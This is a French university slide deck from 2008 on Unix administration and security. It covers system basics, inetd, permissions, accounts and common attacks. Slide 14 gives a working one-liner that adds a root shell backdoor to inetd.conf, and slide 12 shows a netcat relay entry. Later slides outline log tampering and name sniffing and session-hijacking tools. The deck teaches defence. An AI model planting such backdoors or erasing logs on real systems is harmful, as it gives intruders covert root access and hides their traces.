Vous êtes sur la page 1sur 30

UNIX –

Administration et
Sécurité
Abderrazak JEMAI

Email : Abderrazak.Jemai@insat.rnu.tn

(c) A.JEMAI- Sécurité Unix-2008 1


Plan
 Présentation Générale d’Unix
 Mécanisme de démarrage du système
 Permissions sous Unix
 Services réseaux sous unix
 Attaques sous unix

(c) A.JEMAI- Sécurité Unix-2008 2


Caractéristique du Système Unix
 Interactif
 Multitâches
 Multi-utilisateurs

(c) A.JEMAI- Sécurité Unix-2008 3


Historique d’UNIX
AT&T

1969 création d’UNIX


1976 version 6

AT&T Berkeley

System III 4.1 bsd


System V R4 1983 4.2 bsd (SunOs)

Solaris, HP-UX AIX Linux

(c) A.JEMAI- Sécurité Unix-2008 4


Composantes principales d’UNIX
 Système de fichiers
 Noyau
 Shell

(c) A.JEMAI- Sécurité Unix-2008 5


Le système de fichiers

dev bin etc mnt home tmp usr var

passwd group bin man spool log

lp mail

(c) A.JEMAI- Sécurité Unix-2008 6


Noyau et processus

sh
ksh

Processus 1
Processus 2 Matériel : disques,
mémoire, cartes
interfaces, etc.)
Processus N

Noyau
csh

(c) A.JEMAI- Sécurité Unix-2008 7


Le shell
 Un shell :
 C’est un programme (/usr/bin/ksh, /usr/bin/csh,
/usr/bin/sh).
 Lors de son exécution il devient un processus (visualiser avec
la commande ps).
 C’est aussi un langage de commandes.
 Les variantes :
 Ksh : Korn shell
 Csh : C-shell
 Sh : Bourne Shell
 Bash : ksh enrichi (utilisé dans Linux)

(c) A.JEMAI- Sécurité Unix-2008 8


Niveau d’exécution
 Description :
0 : arrêt de la machine
1 : mono utilisateur
2 : Multi-Utilisateurs
3 : Multi-Utilisateurs avec NFS
5 : X11
6 : reboot
 Lancement
# Init « level »
Exemple :
# init 0 pour arrêter la machine
# init 6 pour redémarrer

(c) A.JEMAI- Sécurité Unix-2008 9


Services réseaux
 /etc/services : description des port et services
associés
 /etc/inetd.conf : consulté par inetd pour
savoir quel ports surveiller et quel processus
lancer.
 A chaque demande de telnet, un démon
telnetd est créé pour s’occuper du client.
 A chaque demande de ftp, un démon ftpd est
créé.

(c) A.JEMAI- Sécurité Unix-2008 10


/etc/inetd.conf
telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
# ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd

 Nom du service : (ex telnet)


 Type de socket : type de connection (stream, dgram, raw, etc.).
 Protocole : tcp ou udp
 Etat : nowait, créer un processus pour chaque requête.
 Propriétaire : le service aura les permissions du propriétaire.
 Programme : nom du programme à lancer
 Arguments : Les arguments associés au lancement du programme.

(c) A.JEMAI- Sécurité Unix-2008 11


Attaques sur /etc/inetd.conf
Traffic Relaying
Relay A
Output-to-input Ecouteur netcat
victime

Client netcat
Relay B
Hacker Output-to-input

 Configuration :
11111 stream tcp nowait nobody /usr/sbin/tcpd /usr/bin/nc [next_hop] 54321

 Écouter sur le port 11111 et rediriger vers le port 54321

(c) A.JEMAI- Sécurité Unix-2008 12


Init et inetd
init

httpd
permanence
Ecoutent en

sendmail

inetd
ftpd

Lancement à la
telnetd
demande par
inetd
tftpd

(c) A.JEMAI- Sécurité Unix-2008 13


Attaques sur inetd :
Backdoor

/bin/sh –c " echo 12345 stream tcp nowait


root /bin/sh sh –i " >> /etc/inetd.conf;
killall –HUP inetd

 Rajouter un écouteur sur le port 12345 qui exécute


toute commande reçue sur le port d’entrée.
 Demander à inetd de relire son fichier de configuration.

(c) A.JEMAI- Sécurité Unix-2008 14


Cron
 Utilisé pour lancer à une heure précise un programme
ou un script.
 Exemples
 Effectuer un scan des virus chaque soir entre minuit et 3h du
matin.
 Autoriser l’accès aux jeux uniquement entre 12h et 14h.
 Les travaux sont dans /usr/lib/crontab et /etc/crontab
 Les agresseurs peuvent programmer des attaques.

(c) A.JEMAI- Sécurité Unix-2008 15


Lancement manuel des processus
 Chemin de recherche des programmes : PATH
 Commande d’affichage:
$ echo $ PATH
 Exemple :
/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin
 Autres commandes : whereis, which
 Le répertoire courant « . »
 Précaution : ne jamais mettre le « . » en début du path.
 Exemple à éviter
.:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin

(c) A.JEMAI- Sécurité Unix-2008 16


Interaction avec les processus
 A chaque processus correspond un pid.
 Exemple : (1 init, 526 inetd)
 Afficher l’état des processus : ps
 Afficher tous les processus : ps –aux
 kill et killall : envoyer un signal à un processus
 Exemple :
 # kill -HUP 512
 # killall -HUP inetd

(c) A.JEMAI- Sécurité Unix-2008 17


Comptes et groupes
 Chaque utilisateur détient un compte /etc/passwd
 Un utilisateur appartient à un groupe /etc/group
 Les mots de passe sont stockés dans /etc/shadow
 Changer le mot de passe

$ passwd
Old passwd :
New passwd
Retype new passwd

# passwd bob
New passwd
Retype new passwd

 Création d’un utilisateur : useradd, admintool, userconf


 Création d’un groupe : groupadd, admintool, userconf

(c) A.JEMAI- Sécurité Unix-2008 18


/etc/passwd
 root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
ftp:x:14:50:FTP User:/var/ftp:
squid:x:23:23::/var/spool/squid:/dev/null
dhcpd:x:19:19:Dhcpd User:/var/dhcpd:
named:x:25:25:Bind User:/var/named:
rpm:x:37:37:RPM User:/var/lib/rpm:/bin/false
apache:x:48:48:Apache User:/var/www:
rpc:x:32:32:Portmapper RPC user:/:/bin/false
nobody:x:99:99:Nobody:/:
jemai:x:501:500:Abderrazak JEMAI:/home/jemai:/bin/bash

(c) A.JEMAI- Sécurité Unix-2008 19


/etc/group
 root:x:0:root
bin:x:1:root,bin,daemon
daemon:x:2:root,bin,daemon,ldap
sys:x:3:root,bin,adm
adm:x:4:root,adm,daemon
tty:x:5:
lp:x:7:daemon,lp
mail:x:12:mail
news:x:13:news
uucp:x:14:uucp
dhcpd:x:19:
squid:x:23:
named:x:25:
rpc:x:32:
apache:x:48:
ftp:x:50:
nobody:x:99:
secunix:x:501:

(c) A.JEMAI- Sécurité Unix-2008 20


Permission sous UNIX
 Trois possibilités d’accès appelées permissions ou privilèges:

 read lecture
 Affichage du contenu d’un répertoire (ls)
 Affichage du contenu d’un fichier (more, cat, head, tail)

 write écriture
 Copie d’un fichier dans un répertoire (cp)
 Changement du contenu d’un fichier (vi)
 Création ou suppression d’un fichier dans un répertoire (touch, vi, rm)

 x exécuter
 Accéder à un répertoire (cd et find)
 Exécution d’un programme

(c) A.JEMAI- Sécurité Unix-2008 21


Affichage des caractéristiques
ls -l

mode

type propriétaire groupe autres

- r w x r - x r - x

user group other

(c) A.JEMAI- Sécurité Unix-2008 22


ls –l
$ ls -l
-rw-r--r-- 1 jemai admin 255 fév 12 15:38 myprog.c
-rw-r--r-- 1 jemai admin 0 sep 20 2001 touchfile
-rwxr--r-- 1 jemai admin 489 fév 13 15:38 myprog
drwx-r-xr-x 1 jemai admin 865 mar 5 18:58 myrep
-rw------- 1 jemai admin 60 avr 18 20:51 perso
lrwxrwxrwx 1 jemai admin 11 fév 13 15:23 linkfile -> ./bin/mytest
drwx-r-xr-x 1 jemai admin 865 mar 5 18:58 myrep

Permissions Prop. Groupe Taille Date Nom du fichier

$ ls –ld /usr
drwxr-xr-x 38 root sys 1024 fév 12 15:00 /usr

$ ls –l /data
drwxr-xr-x 3 root sys 512 fév 12 15:00 archive
-rw-r--r-- 3 root root 7860 fév 12 15:10 logfile

(c) A.JEMAI- Sécurité Unix-2008 23


ls –l /etc
 -rw-r--r-- 1 root root 255 fév 12 15:38 crontab
-rw-r--r-- 1 root root 0 sep 20 2001 exports
-rw-r--r-- 1 root root 489 fév 13 15:38 fstab
-rw-r--r-- 1 root root 865 mar 5 18:58 group
-rw-r--r-- 1 root root 60 avr 18 20:51 hosts
lrwxrwxrwx 1 root root 11 fév 13 15:23 init.d -> rc.d/init.d/
-rw-r--r-- 1 root root 1758 mar 5 18:59 inittab
-rw-r--r-- 1 root root 955 sep 21 2001 krb5.conf
-rw-r--r-- 1 root root 1922 mar 5 18:58 passwd
lrwxrwxrwx 1 root root 7 fév 13 15:23 rc -> rc.d/rc*
lrwxrwxrwx 1 root root 10 fév 13 15:23 rc0.d -> rc.d/rc0.d/
lrwxrwxrwx 1 root root 10 fév 13 15:23 rc1.d -> rc.d/rc1.d/
lrwxrwxrwx 1 root root 10 fév 13 15:23 rc2.d -> rc.d/rc2.d/
lrwxrwxrwx 1 root root 10 fév 13 15:23 rc3.d -> rc.d/rc3.d/
lrwxrwxrwx 1 root root 10 fév 13 15:23 rc5.d -> rc.d/rc5.d/
lrwxrwxrwx 1 root root 10 fév 13 15:23 rc6.d -> rc.d/rc6.d/
drwxr-xr-x 10 root root 4096 fév 13 15:38 rc.d/
-rw-r--r-- 1 root root 83 mai 20 18:57 resolv.conf
-rw-r--r-- 1 root root 417942 sep 20 2001 services
-r-------- 1 root root 1373 mar 5 18:58 shadow
-rw-r--r-- 1 root root 295 sep 14 2001 inetd.conf

(c) A.JEMAI- Sécurité Unix-2008 24


Unix Trust
 Les machines unix se donnent mutuellement des
confiances via :
/etc/hosts.equiv
.rhosts
 Avantages : exécution des r-commandes (rcp, rsh
rlogin, etc.).
 Inconvénients : si un intrus réussit l’accès à la première
machine, il peut attaquer toute la chaîne.

(c) A.JEMAI- Sécurité Unix-2008 25


Attaques des fichiers log
 Cible des attaques :
 Fichiers log : mode ASCII, ayant privilège root.
 Fichiers utmp, wtmp et lastlog ayant le privilège root.
 Modifier les fichiers log :
1. Lire le fichier /etc/syslog.conf
2. Utiliser la technique débordement de pile « buffer overflow
» pour se procurer du privilège de root
3. Supprimer les entrées correspondantes à l’identité de
l’intrus.

(c) A.JEMAI- Sécurité Unix-2008 26


Altération des fichiers
utmp, wtmp et lastlog
 Format : binaire
 Privilège : root
 Outils de modification :
ftp.technotronic.com/unix/log-tools/
 Exemples :
 remove : modification du dernière date de connexion,
adresse et état des utilisateurs dans lastlog.
 Wtmped, marry, cloak, logwedit, wzap et zapper.

(c) A.JEMAI- Sécurité Unix-2008 27


Services Réseaux sous Unix
Telnet session de login à distance (inetd, telnetd).Transmission en clair

FTP File Transfert Protocol (inetd, ftpd). Transmission du texte en clair


TFTP Trivial File Transfert Protocol. Transfert sans authentification
HTTPD serveur web, initialisé par init
MAIL Sendmail
R-cmds Exécution des commandes à distance (rcp, rlogin, rsh).

DSN Domain Name Server. Résolution des noms de domaines en adresse IP

NFS Network File System. Partages de ressources entre machines


X Window Appelé aussi X11. Offre une interface graphique GUI à distance.

(c) A.JEMAI- Sécurité Unix-2008 28


Collecte des informations
sniffing
 Collecte des données au niveau Mach (L2) dans un réseau local.
 Nom du programme : sniffer
 Type de données collectées :
 nom de login et passwd suite à un telnet.
 Requêtes et réponses dns
 Messages email
 Passwd suite à un ftp
 Fichiers partagés par nfs
 Comment ?
 Avoir un compte, ou accéder illégalement (buffer overflow)
 Carte réseau en mode « permiscuous mode »
 Outils :
 Tcpdump, freeware pour UNIX www.tcpdump.org
 Windump, freeware pour Windows www.netgroup-serv.polito.it.org
 Snort sniffer et détecteur d’intrusion réseau www.snort.org
 Ethereal, pour UNIX et NT www.ethereal.com
 Sniffit, freeware pour Unix www.reptile.rug.ac.be/~coder/sniffit/sniffit.html
 Dsniff, pour Unix, www.monkey.org/~dugsong/dsniff/

(c) A.JEMAI- Sécurité Unix-2008 29


Hijacking
 Sniffing : l’agresseur collecte les informations
 IP spoofing : l’agresseur se déguise comme étant une autre machine (adresse IP).
 Hijacking : combinaison des deux techniques. Il s’agit de voler la session de la victime.
La victime pense souvent que la session est perdu suite à un problème réseau.
 Comment ?
 L’agresseur attend que la victime se connecte (authentification)
 L‘agresseur collecte les informations de la conversation (IP, TCP sequence number, etc).
 L’agresseur envois des commandes en se déguisant pour la victime.
 Outils :
 Hunt www.cri.cz/kra/index.html
 Dsniff
 Juggernaut www.packetstorm.security.com
 IP Watcher www.engarde.com
 TTYWatcher, freeware at ftp.cerias.purdue.edu/pub/tools/unix/sysutils/
 TTYSnoop freeware at www.packetstorm.security.com

(c) A.JEMAI- Sécurité Unix-2008 30